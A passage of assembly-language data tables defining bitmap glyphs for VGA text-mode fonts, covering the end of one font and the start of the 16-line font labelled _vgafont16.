000h, 0c6h, 0c6h, 0c6h, 0c6h, 07eh, 006h, 00ch, 078h, 000h, 000h, 0c6h db 0c6h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 0c6h, 06ch, 038h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 000h db 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 018h, 018h, 03ch, 066h, 060h db 060h, 066h, 03ch, 018h, 018h, 000h, 000h, 000h, 000h, 038h, 06ch, 064h, 060h, 0f0h, 060h, 060h db 060h, 0e6h, 0fch, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 03ch, 018h, 07eh, 018h, 07eh, 018h db 018h, 000h, 000h, 000h, 000h, 0f8h, 0cch, 0cch, 0f8h, 0c4h, 0cch, 0deh, 0cch, 0cch, 0c6h, 000h db 000h, 000h, 000h, 00eh, 01bh, 018h, 018h, 018h, 07eh, 018h, 018h, 018h, 018h, 0d8h, 070h, 000h db 000h, 018h, 030h, 060h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 00ch db 018h, 030h, 000h, 038h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h, 018h, 030h, 060h db 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 018h, 030h, 060h, 000h, 0cch db 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 000h, 0dch, 066h, 066h db 066h, 066h, 066h, 000h, 000h, 000h, 076h, 0dch, 000h, 0c6h, 0e6h, 0f6h, 0feh, 0deh, 0ceh, 0c6h db 0c6h, 000h, 000h, 000h, 000h, 03ch, 06ch, 06ch, 03eh, 000h, 07eh, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 038h, 06ch, 06ch, 038h, 000h, 07ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 030h, 030h, 000h, 030h, 030h, 060h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0feh, 0c0h, 0c0h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 0feh, 006h, 006h, 006h, 000h, 000h, 000h, 000h, 000h, 0c0h, 0c0h, 0c6h, 0cch, 0d8h db 030h, 060h, 0dch, 086h, 00ch, 018h, 03eh, 000h, 000h, 0c0h, 0c0h, 0c6h, 0cch, 0d8h, 030h, 066h db 0ceh, 09eh, 03eh, 006h, 006h, 000h, 000h, 000h, 018h, 018h, 000h, 018h, 018h, 03ch, 03ch, 03ch db 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 036h, 06ch, 0d8h, 06ch, 036h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 0d8h, 06ch, 036h, 06ch, 0d8h, 000h, 000h, 000h, 000h, 000h db 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 055h, 0aah db 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 0ddh, 077h, 0ddh, 077h db 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 018h, 018h db 018h, 018h, 018h, 018h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0f6h, 036h, 036h, 036h, 036h db 036h, 036h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 036h, 036h, 036h, 036h, 036h, 036h db 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h, 036h, 036h db 036h, 036h, 036h, 0f6h, 006h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 000h, 000h, 000h, 000h, 000h, 0feh db 006h, 0f6h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0f6h, 006h, 0feh db 000h, 000h, 000h, 000h, 000h, 000h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0feh, 000h, 000h db 000h, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh db 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0ffh, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 01fh, 018h, 018h, 018h, 018h db 018h, 018h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 037h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 037h, 030h, 03fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 03fh, 030h, 037h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 0f7h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh db 000h, 0f7h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 037h, 030h, 037h db 036h, 036h, 036h, 036h, 036h, 036h, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 000h, 000h db 000h, 000h, 000h, 000h, 036h, 036h, 036h, 036h, 036h, 0f7h, 000h, 0f7h, 036h, 036h, 036h, 036h db 036h, 036h, 018h, 018h, 018h, 018h, 018h, 0ffh, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 0ffh, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 0ffh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 03fh, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 01fh db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 01fh, 018h, 01fh, 018h, 018h db 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 03fh, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 036h, 036h, 036h, 036h, 036h, 036h db 018h, 018h, 018h, 018h, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h db 0f0h, 0f0h, 0f0h, 0f0h, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh db 00fh, 00fh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 0d8h, 0d8h, 0dch, 076h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0fch, 0c6h, 0c6h, 0fch, 0c0h, 0c0h, 040h, 000h, 000h, 000h, 0feh, 0c6h db 0c6h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 06ch db 06ch, 06ch, 06ch, 06ch, 06ch, 000h, 000h, 000h, 000h, 000h, 0feh, 0c6h, 060h, 030h, 018h, 030h db 060h, 0c6h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07eh, 0d8h, 0d8h, 0d8h, 0d8h db 070h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 066h, 066h, 07ch, 060h, 060h, 0c0h db 000h, 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h db 000h, 000h, 07eh, 018h, 03ch, 066h, 066h, 066h, 03ch, 018h, 07eh, 000h, 000h, 000h, 000h, 000h db 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 06ch, 038h, 000h, 000h, 000h, 000h, 000h, 038h, 06ch db 0c6h, 0c6h, 0c6h, 06ch, 06ch, 06ch, 0eeh, 000h, 000h, 000h, 000h, 000h, 01eh, 030h, 018h, 00ch db 03eh, 066h, 066h, 066h, 03ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07eh, 0dbh, 0dbh db 07eh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 003h, 006h, 07eh, 0dbh, 0dbh, 0f3h, 07eh, 060h db 0c0h, 000h, 000h, 000h, 000h, 000h, 01ch, 030h, 060h, 060h, 07ch, 060h, 060h, 030h, 01ch, 000h db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h db 000h, 000h, 000h, 0feh, 000h, 000h, 0feh, 000h, 000h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 018h, 018h, 07eh, 018h, 018h, 000h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 030h, 018h db 00ch, 006h, 00ch, 018h, 030h, 000h, 07eh, 000h, 000h, 000h, 000h, 000h, 00ch, 018h, 030h, 060h db 030h, 018h, 00ch, 000h, 07eh, 000h, 000h, 000h, 000h, 000h, 00eh, 01bh, 01bh, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0d8h, 0d8h db 070h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h, 07eh, 000h, 018h, 018h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 000h, 076h, 0dch, 000h, 000h, 000h, 000h, 000h db 000h, 038h, 06ch, 06ch, 038h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00fh, 00ch, 00ch, 00ch, 00ch db 00ch, 0ech, 06ch, 03ch, 01ch, 000h, 000h, 000h, 000h, 0d8h, 06ch, 06ch, 06ch, 06ch, 06ch, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 070h, 0d8h, 030h, 060h, 0c8h, 0f8h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch, 07ch, 07ch, 07ch, 07ch, 07ch, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h _vgafont16: ; 0xc69ed LB 0x1000 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 07eh, 081h, 0a5h, 081h, 081h, 0bdh, 099h, 081h, 081h, 07eh, 000h, 000h, 000h, 000h db 000h, 000h, 07eh, 0ffh, 0dbh, 0ffh, 0ffh, 0c3h, 0e7h, 0ffh, 0ffh, 07eh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 06ch, 0feh, 0feh, 0feh, 0feh, 07ch, 038h, 010h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 038h, 07ch, 0feh, 07ch, 038h, 010h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 018h, 03ch, 03ch, 0e7h, 0e7h, 0e7h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 018h, 03ch, 07eh, 0ffh, 0ffh, 07eh, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 018h, 03ch, 03ch, 018h, 000h, 000h, 000h, 000h, 000h, 000h db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0e7h, 0c3h, 0c3h, 0e7h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 000h, 000h, 000h, 000h, 000h, 03ch, 066h, 042h, 042h, 066h, 03ch, 000h, 000h, 000h, 000h, 000h db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0c3h, 099h, 0bdh, 0bdh, 099h, 0c3h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 000h, 000h, 01eh, 00eh, 01ah, 032h, 078h, 0cch, 0cch, 0cch, 0cch, 078h, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 066h, 066h, 066h, 066h, 03ch, 018h, 07eh, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 03fh, 033h, 03fh, 030h, 030h, 030h, 030h, 070h, 0f0h, 0e0h, 000h, 000h, 000h, 000h db 000h, 000h, 07fh, 063h, 07fh, 063h, 063h, 063h, 063h, 067h, 0e7h, 0e6h, 0c0h, 000h, 000h, 000h db 000h, 000h, 000h, 018h, 018h, 0dbh, 03ch, 0e7h, 03ch, 0dbh, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 080h, 0c0h, 0e0h, 0f0h, 0f8h, 0feh, 0f8h, 0f0h, 0e0h, 0c0h, 080h, 000h, 000h, 000h, 000h db 000h, 002h, 006h, 00eh, 01eh, 03eh, 0feh, 03eh, 01eh, 00eh, 006h, 002h, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 066h, 066h, 066h, 066h, 066h, 066h, 066h, 000h, 066h, 066h, 000h, 000h, 000h, 000h db 000h, 000h, 07fh, 0dbh, 0dbh, 0dbh, 07bh, 01bh, 01bh, 01bh, 01bh, 01bh, 000h, 000h, 000h, 000h db 000h, 07ch, 0c6h, 060h, 038h, 06ch, 0c6h, 0c6h, 06ch, 038h, 00ch, 0c6h, 07ch, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 0feh, 0feh, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 07eh, 03ch, 018h, 07eh, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 018h, 00ch, 0feh, 00ch, 018h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 030h, 060h, 0feh, 060h, 030h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 0c0h, 0c0h, 0c0h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 024h, 066h, 0ffh, 066h, 024h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 038h, 038h, 07ch, 07ch, 0feh, 0feh, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0feh, 0feh, 07ch, 07ch, 038h, 038h, 010h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 03ch, 03ch, 03ch, 018h, 018h, 018h, 000h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 066h, 066h, 066h, 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 06ch, 06ch, 0feh, 06ch, 06ch, 06ch, 0feh, 06ch, 06ch, 000h, 000h, 000h, 000h db 018h, 018h, 07ch, 0c6h, 0c2h, 0c0h, 07ch, 006h, 006h, 086h, 0c6h, 07ch, 018h, 018h, 000h, 000h db 000h, 000h, 000h, 000h, 0c2h, 0c6h, 00ch, 018h, 030h, 060h, 0c6h, 086h, 000h, 000h, 000h, 000h db 000h, 000h, 038h, 06ch, 06ch, 038h, 076h, 0dch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 030h, 030h, 030h, 060h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 00ch, 018h, 030h, 030h, 030h, 030h, 030h, 030h, 018h, 00ch, 000h, 000h, 000h, 000h db 000h, 000h, 030h, 018h, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 018h, 030h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 066h, 03ch, 0ffh, 03ch, 066h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 018h, 018h, 07eh, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 018h, 030h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 006h, 00ch, 018h, 030h, 060h, 0c0h, 080h, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 066h, 0c3h, 0c3h, 0dbh, 0dbh, 0c3h, 0c3h, 066h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 038h, 078h, 018h, 018h, 018h, 018h, 018h, 018h, 07eh, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 006h, 00ch, 018h, 030h, 060h, 0c0h, 0c6h, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 006h, 006h, 03ch, 006h, 006h, 006h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 00ch, 01ch, 03ch, 06ch, 0cch, 0feh, 00ch, 00ch, 00ch, 01eh, 000h, 000h, 000h, 000h db 000h, 000h, 0feh, 0c0h, 0c0h, 0c0h, 0fch, 006h, 006h, 006h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 038h, 060h, 0c0h, 0c0h, 0fch, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 0feh, 0c6h, 006h, 006h, 00ch, 018h, 030h, 030h, 030h, 030h, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 07eh, 006h, 006h, 006h, 00ch, 078h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 018h, 018h, 030h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 006h, 00ch, 018h, 030h, 060h, 030h, 018h, 00ch, 006h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 07eh, 000h, 000h, 07eh, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 060h, 030h, 018h, 00ch, 006h, 00ch, 018h, 030h, 060h, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 00ch, 018h, 018h, 018h, 000h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0deh, 0deh, 0deh, 0dch, 0c0h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h db 000h, 000h, 0fch, 066h, 066h, 066h, 07ch, 066h, 066h, 066h, 066h, 0fch, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0c0h, 0c0h, 0c2h, 066h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 0f8h, 06ch, 066h, 066h, 066h, 066h, 066h, 066h, 06ch, 0f8h, 000h, 000h, 000h, 000h db 000h, 000h, 0feh, 066h, 062h, 068h, 078h, 068h, 060h, 062h, 066h, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 0feh, 066h, 062h, 068h, 078h, 068h, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0deh, 0c6h, 0c6h, 066h, 03ah, 000h, 000h, 000h, 000h db 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 01eh, 00ch, 00ch, 00ch, 00ch, 00ch, 0cch, 0cch, 0cch, 078h, 000h, 000h, 000h, 000h db 000h, 000h, 0e6h, 066h, 066h, 06ch, 078h, 078h, 06ch, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h db 000h, 000h, 0f0h, 060h, 060h, 060h, 060h, 060h, 060h, 062h, 066h, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 0c3h, 0e7h, 0ffh, 0ffh, 0dbh, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 000h, 000h, 000h, 000h db 000h, 000h, 0c6h, 0e6h, 0f6h, 0feh, 0deh, 0ceh, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 0fch, 066h, 066h, 066h, 07ch, 060h, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0d6h, 0deh, 07ch, 00ch, 00eh, 000h, 000h db 000h, 000h, 0fch, 066h, 066h, 066h, 07ch, 06ch, 066h, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 060h, 038h, 00ch, 006h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 0ffh, 0dbh, 099h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh, 066h, 066h, 000h, 000h, 000h, 000h db 000h, 000h, 0c3h, 0c3h, 066h, 03ch, 018h, 018h, 03ch, 066h, 0c3h, 0c3h, 000h, 000h, 000h, 000h db 000h, 000h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 0ffh, 0c3h, 086h, 00ch, 018h, 030h, 060h, 0c1h, 0c3h, 0ffh, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 080h, 0c0h, 0e0h, 070h, 038h, 01ch, 00eh, 006h, 002h, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 03ch, 000h, 000h, 000h, 000h db 010h, 038h, 06ch, 0c6h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 000h db 030h, 030h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 0e0h, 060h, 060h, 078h, 06ch, 066h, 066h, 066h, 066h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c0h, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 01ch, 00ch, 00ch, 03ch, 06ch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 038h, 06ch, 064h, 060h, 0f0h, 060h, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 076h, 0cch, 0cch, 0cch, 0cch, 0cch, 07ch, 00ch, 0cch, 078h, 000h db 000h, 000h, 0e0h, 060h, 060h, 06ch, 076h, 066h, 066h, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 018h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 006h, 006h, 000h, 00eh, 006h, 006h, 006h, 006h, 006h, 006h, 066h, 066h, 03ch, 000h db 000h, 000h, 0e0h, 060h, 060h, 066h, 06ch, 078h, 078h, 06ch, 066h, 0e6h, 000h, 000h, 000h, 000h db 000h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0e6h, 0ffh, 0dbh, 0dbh, 0dbh, 0dbh, 0dbh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0dch, 066h, 066h, 066h, 066h, 066h, 066h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0dch, 066h, 066h, 066h, 066h, 066h, 07ch, 060h, 060h, 0f0h, 000h db 000h, 000h, 000h, 000h, 000h, 076h, 0cch, 0cch, 0cch, 0cch, 0cch, 07ch, 00ch, 00ch, 01eh, 000h db 000h, 000h, 000h, 000h, 000h, 0dch, 076h, 066h, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 060h, 038h, 00ch, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 010h, 030h, 030h, 0fch, 030h, 030h, 030h, 030h, 036h, 01ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh, 066h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0c3h, 066h, 03ch, 018h, 03ch, 066h, 0c3h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 